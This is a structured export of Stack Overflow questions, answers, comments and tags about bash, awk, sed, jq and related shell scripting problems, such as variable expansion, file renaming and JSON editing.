type: Answer
has comment: http://stackoverflow.com/comment/136093194

http://stackoverflow.com/a/77095557
answers question: http://stackoverflow.com/q/77095520
has body: try to: Check the environment variables and path. Check the working directory. Make sure the Python script has the correct line. Check the execute permissions for both scripts. Examine the log file for any errors or problems when running Cron.
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/135910642

http://stackoverflow.com/a/77096426
has body: Well, assuming your prefix has no spaces, you could write: prefix_length=3 sed -r 's/^(.{'$prefix_length'})/\1 /;' | \ sort -k 2 | \ sed -r 's/^(.{'$prefix_length'}) /\1/;' What this does: The first sed command inserts a space character after your (non-fixed) prefix Then we sort, using a space as the field delimiter and the second field as the key The second sed command removes the inserted space character
type: Answer
answers question: http://stackoverflow.com/q/77096322
has comment: http://stackoverflow.com/comment/135914456
score: 0
has comment: http://stackoverflow.com/comment/135919485

http://stackoverflow.com/comment/136093294
has text: What I am doing is taking the basic command, and I pull it into an array, and then quote/escape anything that can cause issues, (like the single quotes in the awk command). My program then adds additional parameters for the system that it's going to, (substituting in the profile information and the jq processing), and then constructs the finalcommand, which then should be executed. It's just a weird issue. This is in bash ver 4.4.20.
score: 0
comment on: http://stackoverflow.com/q/77197549
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135888454
type: Comment
score: 0
has text: @EdMorton I have no access to internet with my working PC but I keep your link for the next time. Thank you.
comment on: http://stackoverflow.com/q/77082632
type: QuestionComment

http://stackoverflow.com/comment/135932417
type: Comment
has text: thanks for the article! I read and understood the best practice In my next playbooks / shell scripts, I will follow the tips you gave me
comment on: http://stackoverflow.com/q/77106862
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135929213
score: 1
type: QuestionComment
has text: What happens when you enter `ls -a` into the IntelliJ terminal?
comment on: http://stackoverflow.com/q/77105912
type: Comment

http://stackoverflow.com/comment/136050589
score: 0
type: QuestionComment
has text: `du -m | awk '{ print $1 }'`?
comment on: http://stackoverflow.com/q/77170124
type: Comment

http://stackoverflow.com/comment/135994180
type: QuestionComment
has text: Convert the times themselves into seconds-since-epoch; then getting the difference in seconds is just subtraction. (That said, note that neither `expr` nor built-in shell math -- and in modern times, you should be using built-in math, not expr -- supports floating-point; so you'll need to truncate to the prior second boundary).
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77142682

http://stackoverflow.com/comment/136109615
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77205722
score: 0
has text: @jhnc And one more note about "ls". Files can be located in subfolders :)

http://stackoverflow.com/comment/136155422
type: Comment
has text: [This](https://www.uninformativ.de/blog/postings/2018-02-24/0/POSTING-en.html) might be helpful
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/77231881

http://stackoverflow.com/q/77147140
tagged with: bash
has comment: http://stackoverflow.com/comment/136002593
tagged with: process
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77147179
tagged with: echo
answer count: 3
has comment: http://stackoverflow.com/comment/136003576
has answer: http://stackoverflow.com/a/77147299
downvote count: 2
possible better answer: http://stackoverflow.com/a/77147775
type: Question
upvote count: 0
tagged with: shell
accepted answer: http://stackoverflow.com/a/77147299
tagged with: environment-variables
has comment: http://stackoverflow.com/comment/136003525
has body: I defined a shell variable in the terminal and then used the echo command to output a string with that variable and it worked fine in the terminal. But when I use the same command in a shell script, the variable disappears without any output or error. So, what's going on. terminal $ NVM_USER=xgqfrms $ echo $NVM_USER xgqfrms $ echo "string with a variable $NVM_USER" string with a variable xgqfrms $ echo string with a variable $NVM_USER string with a variable xgqfrms $ echo "string with a variable ${NVM_USER}" string with a variable xgqfrms shell script #!/usr/bin/env bash echo $NVM_USER echo "string with a variable $NVM_USER" echo string with a variable $NVM_USER echo "string with a variable ${NVM_USER}" I've searched and tried some solutions but still stuck. update It works using a variable defined in shell scripts. #!/usr/bin/env bash user=xgqfrms echo "string with a variable ${user}" # temp=$(echo $NVM_USER) echo "string with a variable ${temp}"
favorite count: 0
score: -2
has answer: http://stackoverflow.com/a/77147775
has title: how to print a string with a variable by using echo command in the shell script

http://stackoverflow.com/comment/136004188
type: Comment
has text: And more generally, please use a [*debugger*](https://stackoverflow.com/questions/25385173/what-is-a-debugger-and-how-can-it-help-me-diagnose-problems) to step through your code, line by line while monitoring variables and their values.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77148106

http://stackoverflow.com/comment/136069788
type: QuestionComment
type: Comment
has text: Note: you could use the simpler arithmetic compound command `(( ...))` for your arithmetic test: `if (( b > 5 )); then...`, instead of the `[[ ${b} -gt 5 ]]` conditional expression.
score: 0
comment on: http://stackoverflow.com/q/77184696

http://stackoverflow.com/comment/135962335
score: 2
comment on: http://stackoverflow.com/q/77124682
type: QuestionComment
type: Comment
has text: Please see [BASH FAQ 24](https://mywiki.wooledge.org/BashFAQ/024).

http://stackoverflow.com/comment/135917153
comment on: http://stackoverflow.com/q/77097393
score: 0
has text: Regarding `FNR==NR {grep -c "^>" ...` - awk is not a shell. You can't directly call other tools like `grep` from an awk script any more than you could directly call them from a C program.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135919396
comment on: http://stackoverflow.com/q/77100448
type: QuestionComment
score: 0
type: Comment
has text: What operating system are you running PHP on? There seems to be some confusion between Windows and Linux here (you have a linux-like folder path, but then seem to be trying to run cmd.exe). And can you run an apk file on either of those? Perhaps with an emulator? I don't know. Also, anything you run via PHP will run on the webserver, not on the end user's local machine. Not sure if that's your intention or not, it wasn't clear.

http://stackoverflow.com/comment/135930708
type: QuestionComment
type: Comment
has text: FWIW, I don't get that error on Linux with Bash. I understand filenames can contain literally anything except the null byte.
score: 0
comment on: http://stackoverflow.com/q/77107084

associative-array
type: Tag
tag name: associative-array
tags question: http://stackoverflow.com/q/77185038
tags question: http://stackoverflow.com/q/77270527
tags question: http://stackoverflow.com/q/77275056

http://stackoverflow.com/comment/135921075
type: Comment
comment on: http://stackoverflow.com/q/77100448
score: 0
has text: In ngrok link you can click easily (you were now its warning himself) the professional and real thing is embed that in a website. Exp. google and many websites are even before the page is loading, locating your place and showing your location or up to your location results. And how ngrok executing/running that shell system from a website ?
type: QuestionComment

http://stackoverflow.com/comment/136030708
has text: `for d in $(find ...)` is fundamentally broken. See [Bash Pitfalls #1 (for f in $(ls ...))](https://mywiki.wooledge.org/BashPitfalls#for_f_in_.24.28ls_.2A.mp3.29). Unfortunately, it's very common to see such code in questions and answers on Stack Overflow (even in accepted and much-upvoted answers). There are *very* few sources of good shell code. [Shellcheck](https://www.shellcheck.net/) is an excellent tool for identifying common errors (including this one) in shell code.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77161643
score: 1

http://stackoverflow.com/comment/136105289
type: QuestionComment
has text: Why do you need to use `find`? Why not just `grep '\.sql$' DOC/script.txt | ...`?
comment on: http://stackoverflow.com/q/77204604
score: 2
type: Comment

http://stackoverflow.com/comment/135991577
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/77141159
has text: Yes, environment variable. You can assume your own variable name. Important in the value of it, in this case indeed `something`.
type: Comment

http://stackoverflow.com/a/77078449
answers question: http://stackoverflow.com/q/77078329
downvote count: 0
score: 2
upvote count: 2
has body: Bash-specific: You can use /dev/tcp/ as a magic name prefix that creates and connects a socket. So: exec 3<>/dev/tcp/servicehost/12345 echo >&3 "A request" read <&3 response exec 3>&- echo "Server response is $response"
type: Answer
has comment: http://stackoverflow.com/comment/135882638

http://stackoverflow.com/a/77083450
score: 0
answers question: http://stackoverflow.com/q/77083171
has body: If you were asking how to do this as a user it would be off-topic here and better suited to UNIX & Linux Stack Exchange or Ask Different. Consequently, I'm assuming that you're asking how to do it as a developer where you have code interpreting the output and it makes more sense to have that code be robust and readable rather than terse and occasionally wrong. mdfind -name "$name" kind:folder | LC_ALL=C sort | { read -r line && { last=$line echo "$line" # first line from sorted sequence is always a result while IFS= read -r line; do $line = $last/* && continue last=$line echo "$line" # we found an additional top-level result done } } Note that we support finding multiple matches -- as there may genuinely be multiple directories with the same name on your system -- but exclude matches that are underneath any other matches.
type: Answer

http://stackoverflow.com/comment/136132891
has text: Thank you! @shellter, yes, the server is stage which is only accessed by VPN so we set 777 permissions with root for /data dir, will move this question to appropriate platform
comment on: http://stackoverflow.com/q/77199964
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136104728
comment on: http://stackoverflow.com/q/77198302
type: QuestionComment
type: Comment
has text: Heh -- I had a comment about that, but deleted it as it looked to me like you were using colons when you detected yourself as on a Linuxy OS.
score: 0

http://stackoverflow.com/comment/135914218
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77097491
has text: The number of reads are not in an output file, but it works great
score: 0

http://stackoverflow.com/comment/136144815
type: QuestionComment
type: Comment
has text: I see the timestamp on the 'top' output first line, but it only has hh:mm:ss part, no date part, unfortunately.
score: 0
comment on: http://stackoverflow.com/q/77217613

http://stackoverflow.com/a/77121277
score: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135980030
upvote count: 3
answers question: http://stackoverflow.com/q/77121187
has comment: http://stackoverflow.com/comment/136140722
has comment: http://stackoverflow.com/comment/135961565
downvote count: 0
has comment: http://stackoverflow.com/comment/136135231
has comment: http://stackoverflow.com/comment/136018626
accepted answer of: http://stackoverflow.com/q/77121187
has comment: http://stackoverflow.com/comment/135961949
has comment: http://stackoverflow.com/comment/135979558
has body: $_ only really makes sense in interactive Bash. A more standard and portable solution is to use a regular variable. RUN d=sample_dir && mkdir "$d" && cd "$d" && touch sample_file ... though of course, the cd is pretty much useless here. RUN d=sample_dir && mkdir "$d" && touch "$d"/sample_file Anyway, your attempt to set SHELL is wrong. You want SHELL [ "/bin/bash", "-c" ] Without the -c, your RUN statements would be interpreted as names of shell script files to try to execute. Of course, when $_ is empty, cd $_ expands to just cd which changes to the current user's home directory.
type: Answer
has comment: http://stackoverflow.com/comment/136086383
has comment: http://stackoverflow.com/comment/135978643
has comment: http://stackoverflow.com/comment/136090146
has comment: http://stackoverflow.com/comment/135962953

http://stackoverflow.com/comment/136030808
comment on: http://stackoverflow.com/a/77161429
type: Comment
has text: Added `DO NOT USE ls` part
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135977693
type: Comment
comment on: http://stackoverflow.com/q/77129396
has text: @Ed Morton correct it should be called as a string per line, these are all tvg-ids with only alphabets ending with "." followed by <tlds> as mentioned ....no there are no 2 input files only 1 input i.e. in.txt and it has all the strings per line. Every string has to be searched recursively within the folder ...basically -irwn switch to grep is working all right.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/136156026
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77231881
has text: @barmar Just to be sure, the server should be controlling the remote shell to the client, what ever command is insert in the server should be executed on the remote client

http://stackoverflow.com/comment/136049503
has text: Above script is working fine, however it is only printing the expected values. Could you please suggest how to create UNIX variables like var1, var2, var3... varn instead of printing. Thank you so much.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77169906
score: 0

http://stackoverflow.com/comment/135889139
type: Comment
comment on: http://stackoverflow.com/q/77083171
type: QuestionComment
score: 0
has text: If the script that's searching is in the directory you want to find, can't it just use a path relative to its own location?

http://stackoverflow.com/q/77095262
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135910483
tagged with: http://stackoverflow.com/tag/json
tagged with: python
tagged with: sh
type: Question
has answer: http://stackoverflow.com/a/77095377
upvote count: 0
tagged with: shell
answer count: 1
score: -2
accepted answer: http://stackoverflow.com/a/77095377
favorite count: 0
has body: I am new to shell scripting, I need help in converting python code to shell script. # Your JSON data data = { "group1": [ {"key1": "val1", "key2": "val2", "key3": "val3", "key4": "val4"}, {"key1": "bval1", "key2": "val2", "key3": "bval3"}, {"key1": "bval1", "key2": "xval2", "key3": "bval3", "key4": "bval4"}, ], "group2": [ {"key1": "zval1", "key2": "val2", "key3": "zval3"}, {"key1": "zbval1", "key2": "zval2", "key3": "zval3"}, {"key1": "bval1", "key2": "xval2", "key3": "bval3"}, ], } # Function to append ",test" to "key3" and "key4" values if "key2" is "val2" def append_value(group): for item in group: if item.get("key2") == "val2": item["key3"] = item.get("key3", "") + ",test" if "key4" in item: item["key4"] = item["key4"] + ",test" # Iterate through each group and append values for group_name, group_data in data.items(): append_value(group_data) # Print the updated JSON print(json.dumps(data, indent=4)) Above program updates the json. The conditions are: Update key3 and Key4 to "test" no matter which group they belong. Skip if key4 is not present. Update should happen only if key2 value is val2 in that group. Please help me preparing the shell script meeting above conditions. Thanks in advance.
has comment: http://stackoverflow.com/comment/135910190
has title: Required shell script to modify json data
downvote count: 2

http://stackoverflow.com/comment/136120850
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77212721
type: Comment
has text: Your `awk` script is maybe designed to process only one file. As you don't show it we cannot really help.

http://stackoverflow.com/comment/136035646
type: QuestionComment
type: Comment
has text: What have you tried so far?
score: 1
comment on: http://stackoverflow.com/q/77165700

http://stackoverflow.com/comment/135931122
has text: How should size be calculated for files that have multiple hardlinks? Do you care about filesize, or the diskspace actually used? (consider output of GNU find here: `echo hello >a; find a -printf '%s bytes / %k kilobytes'`) What about sparse files? What if both directories report the same size but contain different files?
comment on: http://stackoverflow.com/q/77107010
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/136091047
type: QuestionComment
has text: It's found in the first `$dir`, but not the rest, right? It's because you've done `cd` as I mentioned. Do this: `(cd "$dir" && /scripts/myScript.py -f "$dir.xml")` - that way the `cd` is made in a subshell so that the next iteration can also do `cd` successfully.
type: Comment
comment on: http://stackoverflow.com/q/77196656
score: 0

http://stackoverflow.com/q/77201945
accepted answer: http://stackoverflow.com/a/77201978
linked to: http://stackoverflow.com/q/30998558
upvote count: 3
has comment: http://stackoverflow.com/comment/136100116
tagged with: bash
has body: I have a very simple script number_guess.sh which is running inside a docker container and using vs-code with utf-8 character encoding in settings without automatically changing encoding based on file. #!/bin/bash echo "hello!"; HELLO () { # function budy } This keeps generating the following error: ./number_guess.sh: line 7: syntax error near unexpected token `}' ./number_guess.sh: line 7: `}' I have tried adding and removing spaces but to no avail. I have also tried to explicitly save file with encoding utf-8 using the editor but also to no avail. I don't know what is causing the issue and I feel lost.
duplicate of: http://stackoverflow.com/q/39307615
type: Question
has title: bash: Why am I getting syntax error near unexpected token `}'?
score: 3
has comment: http://stackoverflow.com/comment/136100108
tagged with: shell
linked to: http://stackoverflow.com/q/39307615
downvote count: 0
has comment: http://stackoverflow.com/comment/136100112
answer count: 1
favorite count: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77201978

c++
tags question: http://stackoverflow.com/q/77224520
tags question: http://stackoverflow.com/q/77138083
type: Tag
tag name: c++
tags question: http://stackoverflow.com/q/77379113
tags question: http://stackoverflow.com/q/77295166
tags question: http://stackoverflow.com/q/77639557
tags question: http://stackoverflow.com/q/77670519
tags question: http://stackoverflow.com/q/78089902
tags question: http://stackoverflow.com/q/78676748
tags question: http://stackoverflow.com/q/78794684
tags question: http://stackoverflow.com/q/78919168
tags question: http://stackoverflow.com/q/79043998
tags question: http://stackoverflow.com/q/78981718

http://stackoverflow.com/a/77099256
type: Answer
score: 0
has body: Using GNU awk for ENDFILE and gensub(): $ awk -v OFS='\t' '/^&gt;/{cnt++} ENDFILE{print gensub(/\.fasta$/,&quot;&quot;,1,FILENAME), cnt+0; cnt=0}' File*.fasta File1 2 File2 3
answers question: http://stackoverflow.com/q/77097393

http://stackoverflow.com/comment/136122108
type: Comment
comment on: http://stackoverflow.com/a/77201523
type: AnswerComment
score: 0
has text: This leads to a follow up that I can't seem to figure out, how do I install a version >20190722 in debian 11. The latest I can seem to get through apt is 20161222. I tried to target the newer versions shown here: https://tracker.debian.org/pkg/parallel but that didn't work.

http://stackoverflow.com/comment/135981983
type: Comment
has text: @knittl I use LF as line endings
comment on: http://stackoverflow.com/q/77135598
score: 0
type: QuestionComment

http://stackoverflow.com/comment/136072035
has text: It's unclear what you're asking. There are no spaces in the array, what do you want to remove? Show how you used `tr` and what the output was.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77185980

centos
type: Tag
tags question: http://stackoverflow.com/q/77199964
tag name: centos
tags question: http://stackoverflow.com/q/77423787
tags question: http://stackoverflow.com/q/78425146

http://stackoverflow.com/comment/136034785
has text: One last thing, both variants of myfindloop.sh must be made executable prior it all working, so `chmod a+x myfindloop.sh` or `chmod -v a+x myfindloop.sh` is also needed after the myfindloop.sh file got created.
comment on: http://stackoverflow.com/a/77165072
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135901767
comment on: http://stackoverflow.com/q/77090384
has text: Does Hugo not follow the regular best practice and update files atomically? (Doing so involves writing to a temporary file on the same filesystem, flushing it to disk, and renaming it over the original only after that flush is complete; it's safe to have multiple processes doing that concurrently).
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136033284
score: 0
type: QuestionComment
type: Comment
has text: **@jhnc** `for d in */ ; do echo make-ffplay-script "$d" > myfindloop.sh; done` only results in `make-ffplay-script testdir/` - both folders with whitespace are not processed. Changing `shopt -s nullglob` not changes anything, still the only thing in myfindloop.sh is `make-ffplay-script testdir/` . Using `ls -d */` gives me all three existing folders: `testdir\ with\ space/ testdir's\ space/ testdir/` but I want to avoid using ls. What am I doing wrong?
comment on: http://stackoverflow.com/q/77161643

http://stackoverflow.com/comment/136091121
comment on: http://stackoverflow.com/a/77196684
type: Comment
type: AnswerComment
score: 0
has text: I've run the code and it returns this: ```/usr/bin/wkhtmltopdf: /opt/lampp/lib/libstdc++.so.6: version `GLIBCXX_3.4.21' not found (required by /usr/bin/wkhtmltopdf) /usr/bin/wkhtmltopdf:``` What should I do?

http://stackoverflow.com/comment/136145773
type: Comment
has text: It not reading any input
score: 0
comment on: http://stackoverflow.com/q/77226745
type: QuestionComment

http://stackoverflow.com/a/77140497
answers question: http://stackoverflow.com/q/77138083
type: Answer
has body: Makefile do not support well space in path...
score: 0

http://stackoverflow.com/comment/136083877
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77192433
has text: Just an idea to verify the syntax: Is the command accepted on gitlab if you do NOT do inplace editing, i.e. when removing the `-i`?

slice
tags question: http://stackoverflow.com/q/77211623
tag name: slice
type: Tag

http://stackoverflow.com/comment/136063377
has text: @EdMorton I tried using just `new_name="${base_name/_R1_001}` but it will still spit out `_R1_001` in the output file name. That was the first attempt before I tried other ways to get rid of those but keeps spitting out the full file name.
score: 0
comment on: http://stackoverflow.com/q/77181016
type: QuestionComment
type: Comment

b2
tags question: http://stackoverflow.com/q/77231507
type: Tag
tag name: b2

http://stackoverflow.com/a/77168064
type: Answer
answers question: http://stackoverflow.com/q/77168035
upvote count: 1
has body: set var '-l -h' set var_array (string split ' ' -- "$var") ls $var_array
downvote count: 0
score: 1

http://stackoverflow.com/comment/135961156
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77122685
has text: take a look at my [sexpect](https://github.com/clarkwang/sexpect/) if you are more confortable with bash/shells.

http://stackoverflow.com/a/77096359
downvote count: 0
upvote count: 1
has body: In the first case, you're using double quotes. Variables are expanded in double quotes on the Main server, so the command that the Secondary sees is in fact echo CD &gt; file ; cat file ; export CI=CD; rm -f file ; ./script.sh In the second case, there's only one instance of a variable to expand in the command.
answers question: http://stackoverflow.com/q/77096305
score: 1
type: Answer

http://stackoverflow.com/comment/136093785
comment on: http://stackoverflow.com/q/77198302
type: QuestionComment
type: Comment
has text: BTW, `bash -c ./bash_script` is needlessly starting _two separate_ copies of bash. It'd be much more sensible to just run `./bash_script`
score: 0

http://stackoverflow.com/comment/136052267
has text: I have updated my actual requirement in my question. Could you please read it once. Thank you.
score: 0
comment on: http://stackoverflow.com/a/77174021
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136118528
comment on: http://stackoverflow.com/a/77211913
score: 1
type: Comment
type: AnswerComment
has text: @remnant24 You might see an old version of the post. I have updated it 15 minutes ago with an alternative.

http://stackoverflow.com/comment/136093354
type: Comment
comment on: http://stackoverflow.com/q/77197549
has text: Even a simplified example of `My program then adds additional parameters for the system that it's going to` (such as how you do that and sample parameters) would go a long way toward helping answer the question. Your current `finalcommand` is a hardcoded string so making it a function would be much easier than trying to make it parseable for `eval`.
score: 1
type: QuestionComment

http://stackoverflow.com/q/77219602
has body: I am pretty new to linux, and I ran into a problem while using the mv command. I have a folder of screenshots, each named something along the lines of "Screenshot_20231001_161001.png, and I want to rename them to something easier to move, like 1.png, 2.png, etc. Any ideas? for f in *.png; do mv -- "$fcounter=1 for f in *.png; do mv -- "$f" "test$counter.png" counter=$((counter + 1)) done " "${f%.js}.html"; done I saw a script similar to what i needed on another page (I think they wanted to rename js files to html) and thought to use a version for pngs, but to no luck
has comment: http://stackoverflow.com/comment/136132800
has answer: http://stackoverflow.com/a/77219653
has title: How to rename a bunch of files in Linux?
has answer: http://stackoverflow.com/a/77220965
answer count: 4
tagged with: shell
type: UnansweredQuestion
downvote count: 0
score: 1
favorite count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/136132946
has answer: http://stackoverflow.com/a/77226191
has answer: http://stackoverflow.com/a/77221390
tagged with: bash
type: Question

directory
tag name: directory
tags question: http://stackoverflow.com/q/77063978
type: Tag
tags question: http://stackoverflow.com/q/78122871
tags question: http://stackoverflow.com/q/79155042

http://stackoverflow.com/comment/136129932
type: Comment
has text: It would be much more efficient to read `/proc/meminfo` and `/proc/loadavg` directly, instead of having `top` read them _and hundreds of other procfs files besides_ (assuming you're on a system with a significant number of running processes) and then throwing away almost all the data that top has collected to extract only the few pieces you care about.
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77217613

http://stackoverflow.com/comment/135991564
type: Comment
has text: Do you mean, you have an environment variable `$variable` with the value `something` (`variable=something`)?
score: 0
comment on: http://stackoverflow.com/q/77141159
type: QuestionComment

http://stackoverflow.com/comment/135955897
type: Comment
comment on: http://stackoverflow.com/q/77121187
has text: By the way, you can use the command "docker build -t test --progress=plain --no-cache ." to see the output of command when building the docker image.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/136009332
has text: You copied it wrongly: You need to remove the `$`. But I can add an explanation.
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/77147775

http://stackoverflow.com/comment/136032041
has text: If you're using `shell=True`, I think you can just pass the command as a single string, instead of making a list of args. Try that.
type: QuestionComment
comment on: http://stackoverflow.com/q/77163838
type: Comment
score: 1

http://stackoverflow.com/comment/135910765
has text: You should also capture errors by adding `2?&1` (note that it must be *after* the `>> log_script.txt`).
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/77095520
type: Comment

http://stackoverflow.com/comment/135889644
type: Comment
has text: I disagree that it's a suitable answer to a Stack Overflow question. Maybe it would be an answer to a [unix.se] question or an [apple.se] question, but SO is only for software development questions, not end-user UNIX utility usage questions; if you're writing a script, you should care much more about correctness and much less about terseness, since you don't control the environment your script is going to be called in, and things you don't control or expect are much more likely.
comment on: http://stackoverflow.com/q/77083171
score: 1
type: QuestionComment

espanso
tags question: http://stackoverflow.com/q/77172041
type: Tag
tag name: espanso
tags question: http://stackoverflow.com/q/79144794

http://stackoverflow.com/comment/136218947
type: QuestionComment
type: Comment
score: 0
has text: Add `-n1` to your `xargs` to limit arguments to one per spawn: `-n, --max-args=MAX-ARGS use at most MAX-ARGS arguments per command line`
comment on: http://stackoverflow.com/q/77212721

http://stackoverflow.com/comment/136180397
comment on: http://stackoverflow.com/a/77230785
type: Comment
has text: Please have a look on the 1st code snippet. It was revised to show the solution with placeholders.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135991758
has text: What is the desired outcom, if `something` occurs in more than one section?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77141159

http://stackoverflow.com/comment/135925655
type: Comment
has text: `I am running from Linux`...so then why are you trying to install the [PHP COM library](https://www.php.net/manual/en/book.com.php)? As the documentation says, COM is Windows-only technology. And `cmd` is only a Windows command. And `.dll` files are Windows only. And even in Windows, you wouldn't need COM just to run a bat file or shell script. Meanwhile in PHP, there is the cross-platform [`shell_exec()`](https://www.php.net/manual/en/function.shell-exec.php) (and similar functions) which can execute any command-line script on the host server. It still cannot execute on the user's machine tho
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77100448

http://stackoverflow.com/a/77122764
answers question: http://stackoverflow.com/q/77122156
downvote count: 0
type: Answer
score: 2
upvote count: 2
has body: $ awk -F'[ %]' -v n=80 ' NF==4{ head=$0 } $5&gt;=n &amp;&amp; head{ print head; head=&quot;&quot; } $5&gt;=n ' file ====================== Server-2: user@xx.xxx.xx.xx ====================== /data/xyz/test 100G 30G 45G 86% /opt/apps/user ====================== Server-3: user@xx.xx.xx.xxx ====================== /dev/env/volume 200G 51G 150G 92% /opt/apps/user/abc1 ====================== Server-4: user@xx.xx.xx.xxx ====================== /dev/env/flow_vol 100G 60G 41G 82% /opt/apps/user /dev/env/flow_vol/test 200G 66G 135G 96% /opt/apps/user/
has comment: http://stackoverflow.com/comment/135965218
accepted answer of: http://stackoverflow.com/q/77122156
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/135964444

http://stackoverflow.com/comment/136171170
has text: That's correct. I didn't include it in the sample data to avoid complicating it further, as I already had the conversion working - I see that I had left it in my attempted original jq also. When substituted into what's working now, .awardDate seems to be a different type - hence failing. `([.member[] | [.firstName, .lastName, (.certificates | group_by(.grade.type) | map(max_by(.grade.level)) | INDEX(.grade.type) | $types[] as $type | [$type, (.[$type] | .grade.level, (.awardDate | fromdateiso8601 | strflocaltime("%Y-%m-%d")))])]` Error is: `strptime/1 requires string inputs and arguments`
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77235822

cpu-usage
tags question: http://stackoverflow.com/q/77217613
tag name: cpu-usage
type: Tag
tags question: http://stackoverflow.com/q/77685729
tags question: http://stackoverflow.com/q/77670233

http://stackoverflow.com/a/77063992
type: AcceptedAnswer
has body: You need your tildes (~) to be unquoted: #!/usr/bin/env bash declare -a DIR=( "/Volumes/drive1" "/Volumes/drive2" ~/"temp" ~/"file1" ) -d /Volumes/drive1 && echo "[DEBUG] 1" for d in "${DIR[@]}"; do -d $d && echo "[DEBUG] 2 ${d}" done There's no commas between items in an array in bash. declare -a DIR=( "/Volumes/drive1" "/Volumes/drive2" ~/"temp" ~/"file1" ) can be written just: DIR=( /Volumes/drive1 /Volumes/drive2 ~/temp ~/file1 ) Always first test your script to https://shellcheck.net before asking here. [[ is a bash keyword similar to (but more powerful than) the [ command. See http://mywiki.wooledge.org/BashFAQ/031 and http://mywiki.wooledge.org/BashGuide/TestsAndConditionals. Unless you're writing for POSIX sh, I recommend [[
answers question: http://stackoverflow.com/q/77063978
score: 4
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/77063978
upvote count: 4

http://stackoverflow.com/a/77095421
has body: I want to obtain a list of all the unique values in the child arrays. What I have is jq -r '.x[][] file.json | sort | uniq. Is there a native solution? Yes, jq has its own unique filter (which also sorts its input automatically). Collect all the items with […] into a single array before using it. jq -r '[.x[][]] | unique[]' file.json 1 2 3 4 Demo I want to choose keys "a" and "c" based on the fact that they both have "3" in their respective child arrays. How do I go about that? I can get the child arrays with "3" in them with jq -r '.x[] | select(index("3") >= 0)' file.json but I need access to the parent key. You could iterate over the (sorted) keys (use keys_unsorted instead if you want the original order), and use IN (which is just a shortcut to any using == as comparator) to select by containedness. jq '.x | keys[] as $k | select(IN(.[$k][]; "3")) | $k' file.json a c Demo
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77093338

http://stackoverflow.com/q/77190844
score: 0
answer count: 2
type: Question
has body: Bash 3.2.57 running on OSX. Following displays the function definition as expected. declare -f my_bash_function Following works as well but only with -v flag. bash -vc "$(declare -f my_bash_function)" Following does not work as I would expect. It displays nothing. echo "my_bash_function" | xargs -I{} bash -vc "$(declare -f {})" However, if the placeholder is replaced with the function name, it works. echo "my_bash_function" | xargs -I{} bash -vc "$(declare -f my_bash_function)" Using single quotes, simply displays the command itself even if the function doesn't exit. Which means it isn't evaluating and/or executing it. echo "my_bash_function" | xargs -I{} bash -vc "$(declare -f {})" $(declare -f my_bash_function) declare -f my_bash_function Please explain why number (3) does not behave as expected?
tagged with: shell
has answer: http://stackoverflow.com/a/77190899
has comment: http://stackoverflow.com/comment/136080581
has comment: http://stackoverflow.com/comment/136080513
has title: Why does ''xargs bash -vc "$(declare -f {})"'' not work?
has answer: http://stackoverflow.com/a/77190915
accepted answer: http://stackoverflow.com/a/77190915
tagged with: xargs
has comment: http://stackoverflow.com/comment/136080529
tagged with: bash
tagged with: declare
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/77190899

http://stackoverflow.com/a/77211881
score: 0
answers question: http://stackoverflow.com/q/77211820
has body: You need to use command substitution $() for the date. It allows you to execute a command and substitute its output in place of the $() expression Try this: #!/bin/bash DATE=$(date +"%d.%m.%Y") FILE_PREFIX="V_Articles_" FILE_EXTENSION=".json" echo "$FILE_PREFIX$DATE$FILE_EXTENSION"
type: Answer
accepted answer of: http://stackoverflow.com/q/77211820
type: AcceptedAnswer

http://stackoverflow.com/comment/135888170
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77082545
has text: What is your Lambda configuration? Is it big enough to handle those 300MB files?
type: QuestionComment

http://stackoverflow.com/comment/135937306
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77107010
has text: @user1934428 Either is fine as long as I can make an accurate comparison between two folders. I have interest only in checking if they are of same size or not in 100% accurate way
score: 0

http://stackoverflow.com/q/77095520
has comment: http://stackoverflow.com/comment/135912968
type: AnsweredQuestion
tagged with: cron
